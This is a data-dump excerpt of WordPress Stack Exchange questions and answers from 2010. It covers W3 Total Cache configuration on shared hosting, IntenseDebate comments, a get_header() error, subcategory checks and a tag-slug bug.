  <row Id="2211" PostTypeId="2" ParentId="2190" CreationDate="2010-09-24T21:23:46.183" Score="0" ViewCount="" Body="&lt;p&gt;Personally, I love &lt;a href=&quot;http://www.intensedebate.com/&quot; rel=&quot;nofollow&quot;&gt;Intense Debate&lt;/a&gt; for my own blogs and for my company's blogs. There are several reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It's an Automattic product, AKA, the people behind WordPress&lt;/li&gt;&#xA;&lt;li&gt;Its plugin works perfectly for syncing WP comments&lt;/li&gt;&#xA;&lt;li&gt;It automatically works with Facebook and Twitter in a really sweet way&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-09-24T21:23:46.183" CommentCount="3" />
  <row Id="2212" PostTypeId="2" ParentId="2203" CreationDate="2010-09-24T21:49:11.837" Score="1" ViewCount="" Body="&lt;p&gt;Depends on whether or not you need to check against WordPress' user authentication. If you need to know whether they're a logged in user, hook onto &lt;code&gt;'init'&lt;/code&gt;. Otherwise, the sooner the better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's something that should fire on every page load, and only checks for existence of the cookie and doesn't need to tap into any of WP's APIs, I'd put it into a custom MU-plugin named &lt;code&gt;0000a.php&lt;/code&gt; to ensure that it fires before any non-core files could accidentally send headers. &lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-09-24T21:49:11.837" CommentCount="5" />
  <row Id="2213" PostTypeId="1" AcceptedAnswerId="2214" CreationDate="2010-09-24T21:51:43.160" Score="10" ViewCount="946" Body="&lt;p&gt;I've launched quite a big site the other day and I'd like to incorporate a caching plugin. The setup is single-site with some Buddypress features mixed in (for user registration, maps with gpress, having a profile) running on a shared host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;br&gt;&#xA;1. Which plugin you consider best for caching given this setup and why (if possible)?&lt;br&gt;&#xA;2. What are the best practices and steps I should take/consider during the setup to make sure all is working?&lt;br&gt;&#xA;3. Are &lt;em&gt;&lt;strong&gt;&lt;code&gt;transients&lt;/code&gt;&lt;/strong&gt;&lt;/em&gt; which I've added myself can still be used or should I remove them and leave the plugin do it's thing? will they clash if not removed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ADDITION: 'Power' plan on &lt;a href=&quot;http://www.inmotionhosting.com/hostingplans.html&quot; rel=&quot;nofollow&quot;&gt;http://www.inmotionhosting.com/hostingplans.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-25T02:05:42.247" LastActivityDate="2011-06-26T01:06:29.940" Title="What are the best practices for using a caching plugin on a shared host?" Tags="&lt;performance&gt;&lt;cache&gt;&lt;scale&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="8" />
  <row Id="2214" PostTypeId="2" ParentId="2213" CreationDate="2010-09-25T01:48:04.533" Score="13" ViewCount="" Body="&lt;h2&gt;On shared hosting plans your caching options are limited.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You will only be able to statically cache the html output from your pages.  This is the fastest way to serve pages but you loose the dynamic aspects of WordPress like making comments and seeing the latest comments on posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are disk caching options available for objects and database but unless your host is running fast drives you won't get much gain from this and it could also cause a drop in performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the caching plugins have an option to not serve cached pages to logged in users or any user with a comment cookie.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Logged in users + known users  = no cache&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Unknown users get served a cached page. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Transients&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Transients are small pieces of data that are meant to expire at some time.  WordPress stores transients as a cache in the database.  If you had the option to use Memcache WordPress would keep the transient data in memory.  Transients are good because they reduce database look ups.  They are also good to use for social networking like displaying your latest tweets.  This prevents making a call to the twitter api on every page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin that uses the most &lt;a href=&quot;http://www.stevesouders.com/blog/&quot; rel=&quot;nofollow&quot;&gt;High Performance Websites&lt;/a&gt; best practices is W3 Total Cache.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; does more than just cache&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;W3 Total does:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;page caching &lt;/li&gt;&#xA;&lt;li&gt;object caching &lt;/li&gt;&#xA;&lt;li&gt;database caching &lt;/li&gt;&#xA;&lt;li&gt;minify &lt;/li&gt;&#xA;&lt;li&gt;browser caching &lt;/li&gt;&#xA;&lt;li&gt;CDN integration&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For your shared hosting set you should enable page cache, minify, browser cache, and the self hosted CDN option.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Page Cache Settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Check all the options for page cache&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/d41Wh.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Cache Preload&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Turn this on and set the update interval at what ever is appropriate for your site.  This will rebuild the page cache at the given interval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/NsF30.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Minify Settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Select Rewrite url structure and if your going to use the CDN check the auto upload so newly minified files will automatically get uploaded to the CDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/35GpM.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Minify HTML&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Enable and check remove line breaks, inline js and css minification.  If your using adsense or another service that uses comment stems enter them here to avoid having them minified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/bAPsX.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;CSS and JS Minify Settings&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In the file management choose your theme and add any css files you want combined and minified.  There is also a help wizard that will search all your templates and add the suggested files for you.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using The Help Wizard&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;W3 Total includes a tool that goes through your theme templates and finds Javascript and CSS files that are used and provides recommended settings. First try theses settings and problems are encountered go back and modify as needed. Any files highlighted in red are files you have already included to be minified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same option section is available for js files and you have the option of having the files placed after &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, after &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;, and before &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt;.  It is best to put as many as you can before &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;.  If any plugins add inline js you wont't be able to use before &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; for jquery or the plugins js because it will need to load before any inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags.  You can include any combinations of files in each location and for each template.  For instance you can set your comment-reply.js to only load on single.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/PJ1ni.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Browser Cache Settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is the most important one to get right.  If you properly cache your static content in your users browsers you can drastically reduce page load times.  &quot;do not process 404 errors for static objects&quot; browser cache settings is a big win for shared hosting because invoking PHP and returning 404 pages to bots etc is a big drain on resources and this feature prevents that&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;General&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Check everything&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/LjlJY.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;CSS and JS Files&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Check everything and set our expires header lifetime to far future. 31536000  seconds is 1 year and what yslow recommends.  If you make changes to your css or javascript you have to change the file names to prevent users from using the old version.  If your using minify you won't have to worry about serving outdated content because every time the minify cache is rebuilt is generates a new file name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set your cache Control policy to cache with max age&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/IWsC6.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two more browser cache setting sections.  HTMl and Images.  For Images use the same settings as CSS and JS.  You can increase the expires time on the images if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For HTML don't set expires unless your site is mainly static.  You can use short lifetimes if you want (180 seconds) but I wouldn't go higher.  Enable gzip and you can check the set W3 Headers so you can check the response headers to make sure they are working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ooQUS.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;CDN Settings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;W3 Total has built in support for popular origin pull and origin push CDN's and a robust self hosted option that requires you to set up subdomains and cnames.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Self hosted CDN will let you take advantage of pipelining.  Browser can only download a few files at once, only 4 in some cases. Pipelining is a technique whereby aliases (subdomains for example) of your server are used to allow your browser to increase the practical limit of files that can be downloaded in parallel. Doing so maximizes the throughput of the your internet connection and allows the browser to render a page faster. W3TC takes care of managing these files transparently once DNS CNAMEs (aliases) and subdomains are properly configured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check all the options then click the upload buttons to upload all the content to the CDN.  If using self hosted there is another setting page to put in ftp information.  For origin push CDN it's configured based on what provider you are using.  For origin pull you don't upload any files and only set your cname to the url the provider gives you.  Note: Don't select force override unless new files are not working.  Force override will constantly upload files to the cdn even if they already exist and this wastes bandwidth and resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/gcgAT.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Testing&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You should always test your results and tweak your settings accordingly.  I like to use &lt;a href=&quot;http://www.webpagetest.org/&quot; rel=&quot;nofollow&quot;&gt;WebPageTest.org&lt;/a&gt;.  To compare my results and identify any potential problems.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;How much can you increase your performance using W3 Total Cache on WordPress with shared hosting?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;These are the before and after results for a WordPress blog that we added W3 Total to.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Before:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/nFdmT.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;After&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/XPTkA.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-25T23:21:00.733" LastActivityDate="2010-09-25T23:21:00.733" CommentCount="5" />
  <row Id="2215" PostTypeId="1" AcceptedAnswerId="2579" CreationDate="2010-09-25T03:56:46.270" Score="1" ViewCount="99" Body="&lt;p&gt;When I use the bookmarklet button to test bookmarking . Only some URLs might able to display the post page.For other URLs it is just showing an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;404. The requested page was not found.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have deactivated all the plugins .But problem not solved .I have changed the theme though .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do any body have Idea on solving this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure how to solve the problem .I copied the screen shots of error here .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/kuTcU.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="402" LastEditorDisplayName="" LastEditDate="2011-05-22T14:26:07.410" LastActivityDate="2011-05-22T14:26:07.410" Title="Problem using Press-this book marklet" Tags="&lt;plugins&gt;&lt;errors&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="2216" PostTypeId="1" CreationDate="2010-09-25T07:19:40.830" Score="1" ViewCount="369" Body="&lt;p&gt;I have a custom post type called Baseball Players which contains teams, positions, and a league taxonomy.  A team consists of the team name, logo, description, and coach.  A position just consists of the name.  A league consists of a name, logo, description.  So when you create a new Baseball player custom post type you can assign the team, position, and league for the player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'm looking for a way to customize the order players are displayed in each taxonomy.  For example, when you view players by team name the order is completely different for each team.  It is not by position, league or a specific field.  The same is true for position and league.  When you view players by league the order of players is different for each league. I don't believe we can implement this through the menu_order field because you would need multiple menu_order fields (one for each team, position, and league for each player). Though this might be the only solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to handle this unique ordering for each term in the taxonomy?  Additionally, is there a way to add multiple custom fields for a taxonomy (ex: team, which contains a team name, logo, description, and coach)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need me to further explain.  Any help is appreciated.  Thanks!&lt;/p&gt;&#xA;" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-09-26T21:38:46.943" LastActivityDate="2010-11-02T10:45:29.940" Title="Sorting for each custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="2217" PostTypeId="2" ParentId="1352" CreationDate="2010-09-25T09:53:37.360" Score="0" ViewCount="" Body="&lt;p&gt;for me &lt;code&gt;&amp;lt;!-- nextpage --&amp;gt;&lt;/code&gt; is not working for any theme.&#xA;Check the post &lt;a href=&quot;http://article-stack.com/education/web-design-n-development/blog-blogger-blogging/xampp-how-to-run-test-wordpress-locally.amty&quot; rel=&quot;nofollow&quot;&gt;http://article-stack.com/education/web-design-n-development/blog-blogger-blogging/xampp-how-to-run-test-wordpress-locally.amty&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-09-25T09:53:37.360" CommentCount="1" />
  <row Id="2218" PostTypeId="1" CreationDate="2010-09-25T12:24:07.930" Score="0" ViewCount="977" Body="&lt;p&gt;My PHP server generates error_log files everytime a PHP error happens.  The error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP Fatal error:  Call to undefined function  get_header() in index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have checked the code but can't see where I am going wrong since my header is still being called.Below  is the code for index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;content-main&quot; class=&quot;category&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php single_cat_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;div id=&quot;listofposts&quot;&amp;gt;&#xA;      &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;    &#xA;&#xA;&#xA;      &amp;lt;div class=&quot;posts&quot;&amp;gt; &#xA;        &amp;lt;?php $image = get_post_meta($post-&amp;gt;ID, 'secondary_image', true); ?&amp;gt;&#xA;           &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $image; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;   &amp;lt;div class=&quot;post-title&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title() ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;     &amp;lt;/div&amp;gt;      &#xA;     &amp;lt;?php if(function_exists('wp_pagenavi')) { wp_pagenavi(); } ?&amp;gt;  &#xA;  &amp;lt;?php else : ?&amp;gt;&#xA;       &amp;lt;h2&amp;gt;No matching results&amp;lt;/h2&amp;gt;&#xA;       &amp;lt;p&amp;gt;Whoops. Something is broken.  Please head back to the &amp;lt;a href=&quot;/&quot;&amp;gt;Home&amp;lt;/a&amp;gt; page.&amp;lt;/p&amp;gt;&#xA;     &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- End content-main --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2010-09-27T17:03:39.633" Title="PHP Fatal error: Call to undefined function get_header()" Tags="&lt;headers&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="2219" PostTypeId="1" AcceptedAnswerId="2225" CreationDate="2010-09-25T14:25:41.813" Score="1" ViewCount="156" Body="&lt;p&gt;My dashboard(  It is multisite Installation ) section for pages and posts conflicts with options when there are morethan 5  data fields  .&#xA;For example :&#xA;I have these things under my Posts section in dashbpard :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Title   Author     Categories     Tags     Comments    Date    Forum-Linked    Featured&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of these many fields these options conflicts each other like shown in the screen shot  :&#xA;&lt;strong&gt;Edit | Quick Edit | Trash | Preview | Purge from Page Cache&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ANHdh.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is because of the increased fields like &lt;strong&gt;forum-linked ,featured etc&lt;/strong&gt;. Some times when I install any other related plugins .The number of data fields increases and it becomes more ugly with the editing options . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could any one suggest me a good Idea to fix this ?&lt;/p&gt;&#xA;" OwnerUserId="402" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-26T03:09:12.443" LastActivityDate="2010-09-26T03:32:13.633" Title="Conflicting post edit options under dashboard" Tags="&lt;content&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="2220" PostTypeId="1" AcceptedAnswerId="2229" CreationDate="2010-09-25T17:55:38.793" Score="0" ViewCount="103" Body="&lt;p&gt;I launched mobile version of my site some days ago. It was looking fine. I used &lt;code&gt;mobilepress&lt;/code&gt; for the same. But i found that &lt;code&gt;shortcodes&lt;/code&gt; are being displayed as simple text. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any other plugin to build efficient mobile version including short code translation&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-10-26T09:44:34.240" Title="Mobilepress fails to translate short codes" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;themes&gt;&lt;mobile&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2221" PostTypeId="1" CreationDate="2010-09-25T20:52:38.417" Score="0" ViewCount="207" Body="&lt;p&gt;How can I have the google calendar in wordpress showing my events?&lt;/p&gt;&#xA;" OwnerUserId="732" LastActivityDate="2010-09-27T07:43:09.837" Title="Google calendar in wordpress showing events" Tags="&lt;3.0&gt;" AnswerCount="2" />
  <row Id="2222" PostTypeId="2" ParentId="2218" CreationDate="2010-09-25T20:57:36.417" Score="0" ViewCount="" Body="&lt;p&gt;Code for &lt;code&gt;index.php&lt;/code&gt;? What exactly you are trying to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file only serves as loader in WordPress, &lt;a href=&quot;http://core.svn.wordpress.org/trunk/index.php&quot; rel=&quot;nofollow&quot;&gt;default content is this&lt;/a&gt; and should not be touched.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-25T20:57:36.417" CommentCount="2" />
  <row Id="2223" PostTypeId="1" AcceptedAnswerId="2224" CreationDate="2010-09-25T22:32:17.807" Score="1" ViewCount="83" Body="&lt;p&gt;If I add the C++ tag, when updating the post it gets converted to C#. If I add the ++ tag, there's no conversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encoding for pages and feeds is UTF-8. Wordpress version 3.0.1 &lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2010-09-26T02:04:54.690" Title="Why 'C++' tag is converted to 'C# '?" Tags="&lt;tags&gt;" AnswerCount="1" />
  <row Id="2224" PostTypeId="2" ParentId="2223" CreationDate="2010-09-26T01:47:30.507" Score="4" ViewCount="" Body="&lt;p&gt;I can duplicate this behavior. Probably a bug. Only alphanumeric characters and dashes are allowed in tag slugs, so my slugs for C++ and C# were created as &quot;c&quot; and &quot;c-2,&quot; respectively. Adding these tags to a new post by name rather than slug lumped them all into C#. (Or was it C++? Either way, they evaluated to the same.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually updating the slugs to &quot;cpp&quot; and &quot;csharp&quot; worked around the bug in my install. Have you customized your tag slugs, or are they &quot;c&quot; and &quot;c-2?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/taxonomy.php#L1126&quot; rel=&quot;nofollow&quot;&gt;taxonomy.php&lt;/a&gt; does check that the slug matches before checking the full tag name, and they both evaluate to the same slug (&quot;c&quot;), hence the incorrect match.&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2010-09-26T02:04:54.690" LastActivityDate="2010-09-26T02:04:54.690" CommentCount="1" />
  <row Id="2225" PostTypeId="2" ParentId="2219" CreationDate="2010-09-26T03:32:13.633" Score="3" ViewCount="" Body="&lt;h2&gt;Columns can be hidden from view using the screen options tab.&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;On the upper right hand side of the dashboard click screen options&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/PVKCZ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Un check any of the columns you want to hide.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/R6Db6.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Normally the edit options are displayed as horizontal text.  A plugin or other function has changed this.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ipUK3.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-26T03:32:13.633" CommentCount="5" />
  <row Id="2226" PostTypeId="2" ParentId="2221" CreationDate="2010-09-26T05:47:04.087" Score="1" ViewCount="" Body="&lt;p&gt;Google calendar provides embed code. You could quite easily paste this code into the page you want to display the calendar on. Make sure you're using the HTML editor when you do.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-09-26T05:47:04.087" CommentCount="3" />
  <row Id="2227" PostTypeId="1" AcceptedAnswerId="2228" CreationDate="2010-09-26T06:16:24.277" Score="1" ViewCount="104" Body="&lt;p&gt;is it possible to create a subcategory.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and use it to manage subcats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or is there a way to get around this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if it is not possible.. is there something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(is_subcategory() || child() ) {&#xA;//do stuff&#xA;} else {&#xA;// do else&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1043" LastActivityDate="2010-09-26T08:42:17.430" Title="want to create a subcategory.php to manage subcats" Tags="&lt;3.0&gt;&lt;php&gt;" AnswerCount="1" />
  <row Id="2228" PostTypeId="2" ParentId="2227" CreationDate="2010-09-26T08:42:17.430" Score="1" ViewCount="" Body="&lt;p&gt;I don't think it is possible to create a subcategory.php, but you can do the following in your category.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category = get_category( get_query_var( 'cat' ) );&#xA;&#xA;if( !empty( $category-&amp;gt;parent ) ) { // the category has a parent, so it is a subcategory&#xA;    // do stuff&#xA;} else {&#xA;    // do else&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-26T08:42:17.430" CommentCount="2" />
  <row Id="2229" PostTypeId="2" ParentId="2220" CreationDate="2010-09-26T08:49:06.423" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mobile-edition/&quot; rel=&quot;nofollow&quot;&gt;WordPress Mobile Edition&lt;/a&gt; or &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mobile-pack/&quot; rel=&quot;nofollow&quot;&gt;WordPress Mobile Pack&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-26T08:49:06.423" />
  <row Id="2230" PostTypeId="1" AcceptedAnswerId="2236" CreationDate="2010-09-26T10:20:26.670" Score="3" ViewCount="149" Body="&lt;p&gt;I am currently using on my blog the default comment system with in addition only the &quot;Quote Comments&quot; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen IntenseDebate and it seems it has many interesting features that probably (and hope) will push the visitors to leave more comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pros are clear but do you see any drawbacks that should I take into account before decide to install or not IntenseDebate plugin on my blog?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-09-27T06:43:39.273" LastActivityDate="2011-02-05T18:16:57.523" Title="Are there any drawbacks to install IntenseDebate on my blog?" Tags="&lt;plugins&gt;&lt;comments&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2231" PostTypeId="1" CreationDate="2010-09-26T12:20:46.147" Score="0" ViewCount="80" Body="&lt;p&gt;before I ask this question I would just like to say a big thank to those who helped with my other question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On some wordpress blogs I've seen, with multiple post authors. When you view the full post on the single page, in the meta the author name is a different colour to the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if the a post was posted by the Admin then it's colour would be pink. But if the post was posted by another author, the colour of the name would be yellow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know some questions ask about different colour posts or comments, but I'm asking about the post author name.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-26T12:48:05.920" Title="Specific colours for wordpress author ids" Tags="&lt;3.0&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="2232" PostTypeId="2" ParentId="2231" CreationDate="2010-09-26T12:48:05.920" Score="2" ViewCount="" Body="&lt;p&gt;You can check if post's author has &lt;code&gt;Administrator&lt;/code&gt; role like this (and output markup accordingly):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( author_can( get_the_ID(), 'administrator' ) ) {&#xA;&#xA;    // author is admin&#xA;}&#xA;else {&#xA;&#xA;    // author is not admin&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;Roles and Capabilities&lt;/a&gt; if you want to check for something more specific than general role.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-26T12:48:05.920" CommentCount="1" />
